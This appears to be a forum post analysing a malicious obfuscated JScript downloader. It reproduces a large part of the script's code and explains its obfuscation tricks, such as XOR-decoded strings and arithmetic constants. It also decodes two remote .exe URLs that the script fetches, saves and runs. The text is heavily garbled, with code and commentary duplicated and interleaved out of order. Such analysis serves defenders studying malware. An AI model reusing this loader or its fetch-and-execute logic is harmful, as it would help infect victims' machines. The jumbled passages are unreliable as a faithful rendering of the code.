EB = EB + J(557 - 440) + J(8036 / 98 - 0) + J(6630 / 65 + 0) + J(28 + 70) + J(1 + 55) + J(9752 / 92 - 0) + J(2795 / 43 + 0) + J(49 + 72) + J(38 + 42) + J(26 + 93) + J(757 - 660) + J(10 * 7) + J(73) + J(2 + 52) + J(5184 / 64 - 0) + J(944 - 892) + J(2544 / 48 - 0) + J(79) + J(6783 / 57 + 0) + J(4620 / 70 + 0) + J(10 + 55) + J(7 * 11) + J(324 - 250) + J(1173 / 23 - 0) + J(7 * 17) + J(4 + 100) + J(579 - 478) + J(48 + 16) + J(35 + 65) + J(6351 / 73 - 0) + J(3552 / 37 - 0) + J(420 - 341) + J(852 - 750) + J(35 + 39) + J(6 * 17) + J(15 * 7) + J(213 - 113) + J(7 * 17) + J(3 + 61) + J(109) + J(1024 - 936) + J(37 + 30) + J(8 * 7) + J(10 * 7) + J(6 * 11) + J(83) + J(4 * 19) + J(9 * 11) + J(455 / 7 + 0) + J(21 + 80) + J(65 + 44) + J(90 + 15) + J(78 + 7) + J(4 * 17) + J(109) + J(16 * 3) + J(2 * 37) + J(8 + 70) + J(192 / 2 + 0) + J(76 + 24) + J(1488 / 31 - 0) + J(47) + J(929 - 881) + J(8200 / 100 + 0) + J(21 + 32) + J(6 * 11) + J(8 * 13) + J(73) + J(31 + 74) + J(9630 / 90 + 0) + J(490 - 383);
//WZr[QRO("12360B064D0E04133D1D",EB)](kQ);
return true;
}
function jGP(OF, qnI) {
var mD = [];
mD[0] = "5o";
mD[1] = "aL";
mD[2] = "R";
mD[3] = "R";
mD[4] = "b0K";
mD[5] = "gh";
mD[6] = "mC";
mD[7] = "qdn";
mD[8] = "L9p";
mD[9] = "A";
mD[10] = "WKH";
mD[11] = "Au";
mD[12] = "yn";
mD[13] = "7";
mD[14] = "b";
mD[15] = "70";
mD[16] = "eW";
mD[17] = "e75";
mD[18] = "mY";
mD[19] = "qK";
mD[20] = "ZZH";
mD[21] = "h3";
mD[22] = "I";
mD[23] = "f";
mD[24] = "8D";
mD[25] = "hLx";
mD[26] = "48i";
mD[27] = "P";
mD[28] = "mhZ";
mD[29] = "seO";
mD[30] = "N";
mD[31] = "s";
mD[32] = "s";
mD[33] = "kcI";
mD[34] = "U9N";
mD[35] = "fyP";
var JnJ = mD[28] + mD[21] + mD[19] + mD[8] + mD[5] + mD[10] + mD[6] + mD[1] + mD[15] + mD[12] + mD[18] + mD[32] + mD[25] + mD[13] + mD[26] + mD[14] + mD[23] + mD[16] + mD[24] + mD[0] + mD[33] + mD[17] + mD[20] + mD[29] + mD[7] + mD[2] + mD[31] + mD[34] + mD[30] + mD[35] + mD[27] + mD[11] + mD[4] + mD[22] + mD[9] + mD[3];
var Cpn = "";
Cpn = Cpn + J(825 - 771) + J(24 * 3) + J(10230 / 93 - 0) + J(45 + 55) + J(922 - 846) + J(7 * 11) + J(53) + J(824 - 722) + J(244 - 127) + J(4 * 13) + J(85 - 38) + J(336 - 228) + J(2244 / 22 + 0) + J(3 + 86) + J(4 * 19) + J(32 * 2) + J(3 * 17) + J(2616 / 24 + 0) + J(5 * 11) + J(182 - 96) + J(4048 / 46 + 0) + J(327 - 256) + J(2349 / 29 + 0) + J(793 - 697) + J(10764 / 92 + 0) + J(55 + 32) + J(67) + J(713 - 629) + J(3648 / 48 - 0) + J(10 * 7) + J(89) + J(367 - 319) + J(262 - 184) + J(8 * 7) + J(1188 / 22 + 0) + J(25 + 92) + J(7 * 7) + J(334 - 269) + J(16 * 5) + J(2231 / 23 - 0) + J(3 * 17) + J(72 + 3) + J(116 / 1 + 0) + J(6375 / 85 + 0) + J(4225 / 65 - 0) + J(315 - 198) + J(707 - 634) + J(1825 / 25 - 0) + J(907 - 803) + J(3213 / 63 - 0) + J(7110 / 90 + 0) + J(586 - 532) + J(875 - 767) + J(4446 / 39 - 0) + J(387 - 290) + J(38 + 68) + J(8 + 90) + J(53) + J(886 - 767) + J(2380 / 35 - 0) + J(108 + 1) + J(5664 / 59 - 0) + J(46 + 70) + J(4757 / 67 - 0) + J(2773 / 59 - 0) + J(360 / 3 - 0) + J(7 * 11) + J(400 / 4 - 0) + J(90 + 10) + J(266 - 159) + J(70 + 14) + J(741 - 661) + J(8 * 7) + J(550 / 5 - 0) + J(51 + 70);
var tkc = 207953;
var aJJ = tkc + 19575;
var CF = aJJ / 476;
var xgH = CF - 478;
OF[QRO("02183F06", JnJ)](QRO("700C3B", Cpn), qnI, xgH);
try {
OF[QRO("1B202D53", "hEC7c7RW7l7RcuyQeaHB1yOcRt8hth0hzTpnWp54znW0WJrFDAdcAnUJe5ud6Lag2oK0ud")]();
} catch (WKY) {
return 0;
}
return 1;
}
function jH(OIM) {
var EN = "";
EN = EN + J(1344 / 21 + 0) + J(1070 - 972) + J(10580 / 92 - 0) + J(42 + 62) + J(10881 / 93 - 0) + J(6000 / 60 + 0);
var lj = EN + OIM;
return eval(lj);
}
function htU(Tib) {
var nGi = "";
nGi = nGi + J(783 / 9 + 0) + J(1044 - 966) + J(97) + J(96 + 9) + J(8600 / 86 + 0) + J(14 * 7) + J(53 + 62);
var Pt = jH(nGi);
var yb = DN(Pt);
var dwe = YjS(Pt);
var bC = [];
bC[0] = "emO";
bC[1] = "ile";
bC[2] = "in";
bC[3] = "ect";
bC[4] = "st";
bC[5] = "bj";
bC[6] = "g";
bC[7] = "Sy";
bC[8] = "ipt";
bC[9] = "Scr";
bC[10] = ".F";
var npT = bC[9] + bC[8] + bC[2] + bC[6] + bC[10] + bC[1] + bC[7] + bC[4] + bC[0] + bC[5] + bC[3];
var dSF = new Pt(npT);
if (jGP(dwe, Tib) == 0)
return false;
var cOv = "";
cOv = cOv + J(41 * 2) + J(9 + 106) + J(1536 / 16 + 0) + J(693 - 578) + J(11136 / 96 + 0) + J(912 / 8 + 0);
var sn = dwe[cOv];
var Xdq = 412883;
var leM = Xdq + 43957;
var Gcb = leM / 405;
var NC = Gcb - 928;
var haS = NC;
if (sn == haS) {
var IxV = "";
IxV = IxV + J(448 / 7 - 0) + J(67) + J(648 - 570) + J(67) + J(5 * 13) + J(4 + 41) + J(41 * 2) + J(5 * 23) + J(432 - 319) + J(84 + 16) + J(32 * 3) + J(490 - 382);
var gib = new Pt(IxV);
var SW = VNB(dSF);
var qU = "";
qU = qU + J(70 + 8) + J(42 + 69) + J(2400 / 24 - 0) + J(109);
gib[qU]();
var cY = "";
cY = cY + J(83) + J(24 * 5) + J(4884 / 44 + 0) + J(43 + 57);
var MzJ = 13231;
var hZ = MzJ + 16865;
var CAg = hZ / 48;
var By = CAg - 626;
gib[cY] = By;
var yu = "";
yu = yu + J(54 + 27) + J(20 * 5) + J(6 * 19) + J(7881 / 71 - 0) + J(10 * 11) + J(8720 / 80 - 0) + J(11 + 103) + J(1600 / 16 + 0) + J(275 - 210) + J(75 + 35) + J(9 * 11) + J(27 + 93);
var yzh = dwe[yu];
var DZy = "";
DZy = DZy + J(43 * 2) + J(923 - 810) + J(8 * 13) + J(94 + 21) + J(20 * 5);
gib[DZy](yzh);
var Am = "";
Am = Am + J(69 + 10) + J(33 + 77) + J(6156 / 54 - 0) + J(89 + 15) + J(25 + 90) + J(416 / 4 + 0) + J(90 + 20) + J(109);
var lm = 260605;
var YU = lm + 50275;
var Ny = YU / 580;
var LC = Ny - 536;
gib[Am] = LC;
if (!WN(gib, SW, Pt))
return false;
var iSG = "";
iSG = iSG + J(6 * 11) + J(1087 - 980) + J(5060 / 46 - 0) + J(645 - 531) + J(699 - 599);
gib[iSG]();
var Ep = "";
Ep = Ep + J(3626 / 37 - 0) + J(1108 - 1000) + J(44 + 55) + J(2475 / 55 + 0) + J(23 + 77) + J(5355 / 45 + 0) + J(2100 / 21 - 0) + J(21 + 10) + J(3036 / 66 - 0) + J(2548 / 26 - 0) + J(1984 / 64 - 0);
var ZzY = Ep + SW;
var ybc = 118986;
var NI = ybc + 11627;
var fi = NI / 397;
var UF = fi - 329;
var IIZ = UF;
var Vp = [];
Vp[0] = "y7a";
Vp[1] = "nd";
Vp[2] = "sjh";
Vp[3] = "gfs";
Vp[4] = "qm";
Vp[5] = "dh";
Vp[6] = "as";
Vp[7] = "fs";
var Jdv = Vp[6] + Vp[4] + Vp[1] + Vp[2] + Vp[0] + Vp[3] + Vp[5] + Vp[7];
var ft = "";
ft = ft + J(920 - 872) + J(5 + 43) + J(4214 / 86 - 0) + J(10 * 5);
IIZ = ygJ(Jdv, Pt, ZzY, ft);
var gL = 146016;
var anP = gL + 63364;
var qXw = anP / 361;
var mlA = qXw - 570;
var qvO = mlA;
if (IIZ < qvO) {
return BSu(dSF);
} else {
return false;
}
} else {
return false;
}
return true;
}
function gW(qnI) {
var cd = htU(qnI);
if (!cd)
throw cd;
return cd;
}
if (qdI()) {
var Tib = [];
function BQc() {
var HK = 417564;
var yw = HK + 15596;
var fV = yw / 980;
var Wlq = fV - 442;
return 0 + Wlq;
}
function cI() {
var CQS = QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611", "S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
return CQS;
}
Tib[BQc()] = cI();
function LK() {
var Rn = 145782;
var Qg = Rn + 61631;
var rq = Qg / 983;
var DVu = rq - 210;
return 0 + DVu;
}
function WE() {
var DqW = QRO("3033200363635C17381640261F17591D2D3340522E0A560C175C232510197547555750637C7C4C2E0B01", "XGTsYLssQf5Bza8oLYn1Agyhr7ODbFDvgebSMJbKsdDroDOFuul8AnbHihhMrfxbXv32qlcU3wUxil");
return DqW;
}
Tib[LK()] = WE();
var nof = false;
function yVB() {
var rCq = 243163;
var pym = rCq + 27887;
var CHP = pym / 695;
var THx = CHP - 389;
return 0 + THx;
}
function Yn() {
var tA = 2288;
var Doq = tA + 64920;
var SG = Doq / 271;
var eMn = SG - 248;
return 0 + eMn;
}
var spI = yVB(),
Ta = Yn();
while (!nof) {
if (Ta > spI)
break;
try {
nof = gW(Tib[Ta]);
} catch (IwH) {}
Ta++;
}
}
2) Main part :
Looking at the parts that are not in functions : an easy way to find the main part from where all other parts will be called.
In this part some declaration of function appears :
=> I didn't put the them here (see the spoiler with the whole code) to let the code clearer.
if (qdI()) => Main condition : if false, nothing is done : the script ends.
{
We can see that a lot of functions are called, hiding the real data.{
var Tib = [];
var spI = yVB(), Ta = Yn();
while (!nof)
{
}=> Creation of an empty tab
Tib[BQc()] = cI();
=> the result of cl() is put on the tab, at position resultinf of BQc()
=>cl() and BQc() are function calls, that return the good value
=>cl() and BQc() are function calls, that return the good value
Tib[LK()] = WE();=> the result of WE() is put on the tab, at position resultinf of LK()
=> WE() and LK() are function calls, that return the good value
var nof = false;=> WE() and LK() are function calls, that return the good value
var spI = yVB(), Ta = Yn();
=> yVB() and Yn() are another functions used to initilize spl and Ta
while (!nof)
{
if (Ta > spI)
{
{ }
Ta++;
}
=> condition to break => quit the loop While : exit the script (end of the code)
try
break;{
nof = gW(Tib[Ta]);
=> call gW fonction with parameter : one of the value of the Tib tab : Ta is the index
catch (IwH)=> call gW fonction with parameter : one of the value of the Tib tab : Ta is the index
{ }
Ta++;
I will not directly show you the main simplified part .
The aim of this post is to show the obfuscation methods used, and then the deobfuscation :
I prefer, step by step, show the work that have been made to obfuscate this script.
2-1) Main part - Easy simplifications / deobfuscation :
Let's find what data the functions BQc(), LK(), yVB(), Yn(), cl() and WE() return, to simplify the main part.
function BQc() {
=> return 0 : (0 + ((417564+15596)/980)-442)
function LK() {
=> return 1 : (0 + ( (145782+61631)/983) - 210)
function yVB() {
=> return 1 : (0 + ((243163+27887)/695) - 389)
function Yn() {
=> return 0 : (0+((2288+64920)/ 271) - 248)
function cI() {
function WE() {
var HK=417564;
var yw=HK+15596;
var fV=yw/980;
var Wlq=fV-442;
return 0+Wlq;
}var yw=HK+15596;
var fV=yw/980;
var Wlq=fV-442;
return 0+Wlq;
=> return 0 : (0 + ((417564+15596)/980)-442)
function LK() {
var Rn=145782;
var Qg=Rn+61631;
var rq=Qg/983;
var DVu=rq-210;
return 0+DVu;
}var Qg=Rn+61631;
var rq=Qg/983;
var DVu=rq-210;
return 0+DVu;
=> return 1 : (0 + ( (145782+61631)/983) - 210)
function yVB() {
var rCq=243163;
var pym=rCq+27887;
var CHP=pym/695;
var THx=CHP-389;
return 0+THx;
}var pym=rCq+27887;
var CHP=pym/695;
var THx=CHP-389;
return 0+THx;
=> return 1 : (0 + ((243163+27887)/695) - 389)
function Yn() {
var tA=2288;
var Doq=tA+64920;
var SG=Doq/271;
var eMn=SG-248;
return 0+eMn;
}var Doq=tA+64920;
var SG=Doq/271;
var eMn=SG-248;
return 0+eMn;
=> return 0 : (0+((2288+64920)/ 271) - 248)
function cI() {
var CQS= QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
return CQS;
}return CQS;
function WE() {
var DqW= QRO("3033200363635C17381640261F17591D2D3340522E0A560C175C232510197547555750637C7C4C2E0B01","XGTsYLssQf5Bza8oLYn1Agyhr7ODbFDvgebSMJbKsdDroDOFuul8AnbHihhMrfxbXv32qlcU3wUxil");
return DqW;
}return DqW;
cI() and WE() returns some decoded vars, using a function named QRO(parameter1, parameter2)
Let's suppose each value returned is an URL (I will show you later how to find these parts)
Then we can write the new main part :
if (qdI()) => Main condition : if false, nothing is done :the script stops.
{
- the Tab Tib is initialized with 2 URLs => 2 index : 0 and 1{
var Tib = [];
var spI = 1, Ta = 0;
while (!nof)
{
}=> Creation of an empty tab
Tib[0] = URL1;
=> the result of cl() is put on the tab at index 0
Tib[1] = URL2;
=> the result of WE() is put on the tab at index 1
var nof = false;
var spI = 1, Ta = 0;
=> yVB() and Yn() are another functions used to initilize spl and Ta
while (!nof)
{
if (Ta > spI)
{
{ }
Ta++;
}
=> condition to break => quit the loop While : exit the script (end of the code)
try
break;{
nof = gW(Tib[Ta]);
=> call gW fonction with as parameter : the current URL (Ta : index in the tab Tib)
catch (IwH)=> call gW fonction with as parameter : the current URL (Ta : index in the tab Tib)
{ }
Ta++;
- In the loop WHILE as long as nof is false (not usefully retrieved / saved / run, current from URL) and current index <= 1
- gW function is called
To quit the WHILE loop :- nof = false => break
- TA > spl => current index > 1
We will see in details gW() functions.- TA > spl => current index > 1
=> normal, only 2 URL : index 0 and 1
2-1) Main part - URLs :
For the moment, let's find the values returned by cI() and WE()
function cI() {
function WE() {
Let's begin with cl()var CQS= QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
return CQS;
}return CQS;
function WE() {
var DqW= QRO("3033200363635C17381640261F17591D2D3340522E0A560C175C232510197547555750637C7C4C2E0B01","XGTsYLssQf5Bza8oLYn1Agyhr7ODbFDvgebSMJbKsdDroDOFuul8AnbHihhMrfxbXv32qlcU3wUxil");
return DqW;
}return DqW;
QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
Two parameters :
- one string that seems HEX VALUES represented on a String
- a second string with chars that seem to be chars from alphabet
- a second string with chars that seem to be chars from alphabet
In this function QRO, other functions are called : I will show in Green some of them, and will simplify other parts
function QRO(eQZ, AV)
{
In the above function / sub-function, there is a lot of calls to J() function.{
var QJ = HyA(eQZ);
=> DIL = 0
=> the index of the first char to get from the first string (parameter 1)
var Hm = HyA(AV); (same function as above)
return Tv;
=> The decoded string !
}=> eQZ : current string : encoded "3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
=> 88 (length)
var DIL = PgR();=> 88 (length)
function HyA(WtD)
{
{
var XkX = lw();
var cW = Do();
var md = St();
XkX = XkX + dka() + cW + ymC() + md;
return ddh;
}var cW = Do();
var md = St();
XkX = XkX + dka() + cW + ymC() + md;
=> "length"
var ddh = WtD["length"];
return ddh;
=> returns the length of the string
function PgR() {
var yQ=516582;
var bb=yQ+8898;
var jUh=bb/755;
var XUW=jUh-696;
return 0+XUW;
}var bb=yQ+8898;
var jUh=bb/755;
var XUW=jUh-696;
return 0+XUW;
=> it always returns 0 !!!
=> the index of the first char to get from the first string (parameter 1)
=> AV : password string (for the decoding part)
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
=> Hm = AV.length
=> HM = 77
var Tv = [pXY()][TG()];"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
=> Hm = AV.length
=> HM = 77
=> an obfuscate manner to write : Tv = ""
=> [""][0]
=> Tv = ""
while (DIL < QJ)=> [""][0]
=> Tv = ""
=> while DIL < size of the_fisrt_string
=> DIL begin from 0 and will be incremented to the size of encoded string, here : 88
{=> DIL begin from 0 and will be incremented to the size of encoded string, here : 88
var un = DIL / Bv();
=> un = DIL / 2
=> the position of the char to be retrieved from the second string (parameter 2)
var nH = eQZ[aW()](DIL);
=> nH = eQZ["charAt"](DIL);
=> gets the char at position DIL, on the first string (parameter 1)
DIL = DIL + Hb();
=> DIL = DIL + 1
=> the index of the second char retrived from first string (parameter 1)
nH = nH + eQZ[Ua()](DIL);
=> get the char at position DIL, on the first string (parameter 1)
DIL = DIL + GuV();
=> DIL = DIL + 1
var gD = Hd(nH, vOX());
=> vOX : 16 (for "HEX number")
=> Hd("3B", 16) : Hd is called with the two current values retrieved, and 16 to tell it is HEX
=> Hex number to decimal conversion
=> For the current loop :
=> var gD = 59 for the current loop : decimal value of HEX NUMBER represented by the two current chars of first string
=> remember, in this call :
var Km = AV[nsV()](un % Hm);
=> This method allows to have a variable with a number that could be a position, with a value outside a string (or an array, tab, etc), but using the modulo with the string length, the result is always in the string.
=> var Km = AV[nsV()](un % Hm);
=> current letter of the second string
=> Km = "S" in the first loop
var WY = gD ^ Km;
}function Bv() {
var Wx=32391;
var ept=Wx+1427;
var jU=ept/914;
var wBY=jU-35;
return 0+wBY;
var Wx=32391;
var ept=Wx+1427;
var jU=ept/914;
var wBY=jU-35;
return 0+wBY;
=> it always returns 2 !!!
}
=> the position of the char to be retrieved from the second string (parameter 2)
function aW() {
var GR="";
GR=GR+J(30+68)+J(103)+J(2976/31+0)+J(276-163)+J(154-90)+J(5*23);
=> "c" + "h" + "a" + "r" + "A" + "t"
return GR;
}GR=GR+J(30+68)+J(103)+J(2976/31+0)+J(276-163)+J(154-90)+J(5*23);
=> "c" + "h" + "a" + "r" + "A" + "t"
return GR;
=> it returns "charAt"
=> gets the char at position DIL, on the first string (parameter 1)
=> we are on a loop WHILE.
=> at the first passage : DIL : 0
=> nh = eQZ.charAt(0)
=> get the char at position 0, on the first string (parameter 1)
=> nh = "3"
=> at the first passage : DIL : 0
=> nh = eQZ.charAt(0)
=> get the char at position 0, on the first string (parameter 1)
=> nh = "3"
function Hb() {
var CzR=208985;
var gp=CzR+57754;
var xoD=gp/411;
var ZD=xoD-648;
return 0+ZD;
}var gp=CzR+57754;
var xoD=gp/411;
var ZD=xoD-648;
return 0+ZD;
=> it always returns 1 !!!
=> the index of the second char retrived from first string (parameter 1)
function Ua() {
var dSE=""; dSE=dSE+J(14*7)+J(103)+J(44+52)+J(60+53)+J(256-192)+J(94+21);
=> "charAt"
return dSE;
}=> "charAt"
return dSE;
=> it returns "charAt"
=> in the current loop :
=> nH = nH + eQZ["charAt"](2);
=> nh = nh + "B"
=> nh = "3B"
=> the first two chars of the encoded string
=> nH = nH + eQZ["charAt"](2);
=> nh = nh + "B"
=> nh = "3B"
=> the first two chars of the encoded string
function GuV() {
var QHj=469118;
var mE=QHj+16324;
var riR=mE/543;
var HPx=riR-893;
return 0+HPx;
=> it always returns 1
}var mE=QHj+16324;
var riR=mE/543;
var HPx=riR-893;
return 0+HPx;
=> it always returns 1
=> vOX : 16 (for "HEX number")
=> Hd("3B", 16) : Hd is called with the two current values retrieved, and 16 to tell it is HEX
=> For the current loop :
=> this long function will do "3B" => 59 considering "3B" is an HEX number
=> parsInt(nH,16) is the simplified version of Hd(nH, vOX())
function Hd(tG, yRI)
{
// "3B" and 16 at first call, here
var XEE=72822;
var uxo=XEE+58878;
var kc=uxo/300;
var JiT=kc-438;
var HkD = JiT;
var gcq=102714;
var TQ=gcq+26334;
var oq=TQ/228;
var rP=oq-566;
var Sb = rP;
var YCE=120043;
var PbA=YCE+27693;
var SKR=PbA/313;
var oX=SKR-465;
var iuV = oX;
var EXT="";
EXT=EXT+J(74+37)+J(32*3)+J(7232/64+0)+J(6*19)+J(94+6)+J(557-485)+J(109)+J(20+95);
var sbG="";
sbG=sbG+J(5488/56+0)+J(612-509)+J(32*3)+J(423-310)+J(35+29)+J(99+16);
if (Math.cos(HkD) > Sb)
else
{
// "3B" and 16 at first call, here
var XEE=72822;
var uxo=XEE+58878;
var kc=uxo/300;
var JiT=kc-438;
var HkD = JiT;
var gcq=102714;
var TQ=gcq+26334;
var oq=TQ/228;
var rP=oq-566;
var Sb = rP;
var YCE=120043;
var PbA=YCE+27693;
var SKR=PbA/313;
var oX=SKR-465;
var iuV = oX;
var EXT="";
EXT=EXT+J(74+37)+J(32*3)+J(7232/64+0)+J(6*19)+J(94+6)+J(557-485)+J(109)+J(20+95);
=> "parseInt"
var BAK = EXT;
var sbG="";
sbG=sbG+J(5488/56+0)+J(612-509)+J(32*3)+J(423-310)+J(35+29)+J(99+16);
=> "charAt"
var UAR = sbG;
if (Math.cos(HkD) > Sb)
=> if (Math.cos(1) > 0) : always true
else
iuV = eval(BAK);iuV = eval(UAR);
=> iuv : object parsInt or charAt
=> here ALWAYS : parsInt => to be used below
if (Math.sin(HkD) > Sb) => iuv : object parsInt or charAt
=> here ALWAYS : parsInt => to be used below
=> if (Math.sin(1) > 0) : always true !!!
{var TA = iuV(tG, yRI);
=> TA = parsInt("3B",16)
=> "3B" considered as HEX number
=> converted to decimal number : 59
}=> TA = parsInt("3B",16)
=> "3B" considered as HEX number
=> converted to decimal number : 59
return TA;else
return HkD;
=> it never reaches here !
}=> it never reaches here !
=> remember, in this call :
parameter 1 : "3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
parameter 2 :
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
parameter 2 :
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
function nsV() {
=> var Km = AV["charAt"](postion_in_second_string MODULO length_of_second_string);var tTu="";
tTu=tTu+J(82+16)+J(103)+J(4992/52-0)+J(15+98)+J(6*11)+J(3630/33+0)+J(8019/81+0)+J(20*5)+J(62+2)+J(60+55);
}tTu=tTu+J(82+16)+J(103)+J(4992/52-0)+J(15+98)+J(6*11)+J(3630/33+0)+J(8019/81+0)+J(20*5)+J(62+2)+J(60+55);
=> "charCodeAt"
return tTu;
=> This method allows to have a variable with a number that could be a position, with a value outside a string (or an array, tab, etc), but using the modulo with the string length, the result is always in the string.
=> to avoid to reset the variable once the value get out the max value.
position = position_outside MODULO length_of_the_string
Example : "ABCD"position = position_outside MODULO length_of_the_string
The increment of a var reaches to 4, but there is only a string of 4 chars
index 0 => "A"
index = index + 1
index 1 => "B"
index = index + 1
index 2 => "C"
index = index + 1
index 3 => "D"
index = index + 1
index 4 => outside the string.
using real_index = index MODULO size_of_the_string
real_index will always been in the string, beginning again by the first char (loop in the string)
real_index = 4 MODULO 4 = 0 => "A"
index = index + 1
real_index = 5 MODULO 4 = 1 => "B"
index = index + 1
real_index = 6 MODULO 4 = 2 => "C"
...
...
real_index = 255 MODULO 4 = 3 => "D"
index 0 => "A"
index = index + 1
index 1 => "B"
index = index + 1
index 2 => "C"
index = index + 1
index 3 => "D"
index = index + 1
index 4 => outside the string.
using real_index = index MODULO size_of_the_string
real_index will always been in the string, beginning again by the first char (loop in the string)
real_index = 4 MODULO 4 = 0 => "A"
index = index + 1
real_index = 5 MODULO 4 = 1 => "B"
index = index + 1
real_index = 6 MODULO 4 = 2 => "C"
...
...
real_index = 255 MODULO 4 = 3 => "D"
=> current letter of the second string
=> Km = "S" in the first loop
var WY = gD ^ Km;
=> XOR between the decimal code of the two chars retrieved on parameter 1 and the decimal code of current letter retrieved on parameter 2
var Qk = String[uQR()](WY);=> in the first loop : 59 XOR 83 (I will show an example later with the first 3 loops)
=> result of the XOR : converted in a string and put in var Qk
Tv = Tv + te() + Qk;=> Example : 59 XOR 83 = 104 => "h"
=> the decoded string is build
=> firs loop :
=> "" ="" + "h" => "h"
=> "" ="" + "h" => "h"
return Tv;
=> The decoded string !
I choose to write the result of the calls, and will only show the complete J() function / sub functions in a next part.
QRO function can seem difficult, some obfuscation has been made.
So this is an example, for the 3 first loops int the While part :
QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
2-2) Main part -simplified :So this is an example, for the 3 first loops int the While part :
QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
- first positions (one for the first string, one for the second)
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
RESULTS :
"3B" => 59
"S" => 83
- New positions : "S" => 83
=> 59 XOR 83 = 104
=> "h"
current decoded string : "htt"=> "h"
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
"47" => 71 decimal
"3" => 51 decimal
- New positions: "3" => 51 decimal
=> 71 XOR 51 = 116 => "t"
current decoded string : "htt"
"3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611"
"S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO"
"3F" => 63
"K" => 75
"K" => 75
=> 63 XOR 75 = 116 => "t"
current decoded string : "htt"
etc,...
cI();
=> "http ://www .interlaan.com/deklar_11222016.exe"
WE();
=> "http ://dipudevaraj.com/deklar_11222016.exe"
if (qdI()) => Main condition : if false, nothing is done : the script stops.
{
Two parts have not already be shown : qdI() and gW(url){
var Tib = [];
var nof = false;
var spI = 1, Ta = 0;
{
}=> Creation of an empty tab
Tib[0] = "http ://www .interlaan.com/deklar_11222016.exe";
Tib[1] = "http ://dipudevaraj.com/deklar_11222016.exe";
var spI = 1, Ta = 0;
while (!nof){
if (Ta > spI)
{
{ }
Ta++;
}=> condition to break => quit the loop While : exit the script (end of the code)
try
break;{
nof = gW(Tib[Ta]);
=> call gW fonction with as parameter : the current URL (Ta : index in the tab Tib)
catch (IwH)=> call gW fonction with as parameter : the current URL (Ta : index in the tab Tib)
{ }
Ta++;
2-3) The if part :
if (qdI())
{
...
...
}
{
...
...
}
When I have first seen the if part, I wondered "how small can be this function"
Let's see the "strange part of this script"...
function qdI()
{
We can easily see that an ActiveX Object is created, but the string as parameter is hidden by a call to a function named oh().{
var Uh = eval("ActiveXObject");
var Rl = new Uh(oh());
WuR=WuR+J(551-435)+J(109)+J(161-55)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
var XkB = WuR;
var oQ = (typeof Rl[CWZ()] == XkB);
if (!oQ) return oQ;
oQ = (typeof Rl[tDk()] == XkB);
return oQ;
}var Rl = new Uh(oh());
=> new "ActiveXObject(oh())
var WuR="";
WuR=WuR+J(551-435)+J(109)+J(161-55)+J(418-309)+J(10*11)+J(1043-925)+J(229-120);
var XkB = WuR;
var oQ = (typeof Rl[CWZ()] == XkB);
if (!oQ) return oQ;
oQ = (typeof Rl[tDk()] == XkB);
return oQ;
For the moment, let's see the other parts).
